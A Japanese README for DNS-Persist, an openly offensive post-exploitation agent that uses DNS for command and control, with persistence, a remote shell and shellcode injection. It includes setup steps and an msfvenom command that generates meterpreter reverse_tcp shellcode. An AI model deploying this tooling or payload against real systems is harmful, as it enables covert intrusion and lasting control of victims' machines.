
DNS-Persistは、DNSを使用してコマンド&コントロールを行うポストエクスプロイテーションエージェントです。
DNS-Persist は、DNS をコマンド&コントロールに使用するポストエクスプロイテーションエージェントです。サーバーサイドのコードは Python で書かれており、エージェントは C++ でコーディングされています。これは最初のバージョンであり、今後さらに多くの機能と改善が追加される予定です。
0x09AL - https://twitter.com/0x09al
このソフトウェアを違法な目的で使用しないでください。
著作者は、ここで提供されるコードの誤用について一切の責任を負いません。
DNS C2 に関する優れた成果は数多くありますが、私はこのソフトウェアを永続化の部分により重点を置いて作成しました。私は C++ の専門家ではなく、これが C++ で書いた最初の「本格的なプログラム」です(そのため、目を覆いたくなるようなコードもあるかもしれません)。
機能や改善に関する提案は歓迎します。
主な構成要素は2つです:

このバージョンには3つの永続化メカニズムしかありません。今後さらに追加される予定です。
このバージョンは、システムコマンドを実行するために使用できる擬似対話型コマンドシェルをサポートしています。
このバージョンは32ビットシェルコードのインジェクションをサポートしています。シェルコードは同じプロセス内の新しいスレッドで実行されるため、クラッシュするシェルコードや無効なシェルコードはエージェントもクラッシュさせます。シェルコードに NULL バイトを含めないようにしてください。
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port EXITFUNC=thread -b "\x00" -f hex -o /tmp/shellcode.hex
pip install dnslib
git clone https://github.com/0x09AL/DNS-Persist
python server.py
デフォルトでは、ポート53で DNS サーバーが起動します。これは server.py ファイル内で変更できます。
エージェントのコーディングには Visual Studio 2010 を使用したため、インポートとコンパイルはかなり簡単なはずです。
自分のドメイン名に合わせて、Declarations.h 内の DOMAIN_NAME 変数を変更することを忘れないでください。
ドメインのネームサーバーは、DNS-Persist の IP アドレスを指すように設定する必要があります。
#define DOMAIN_NAME "example.com"



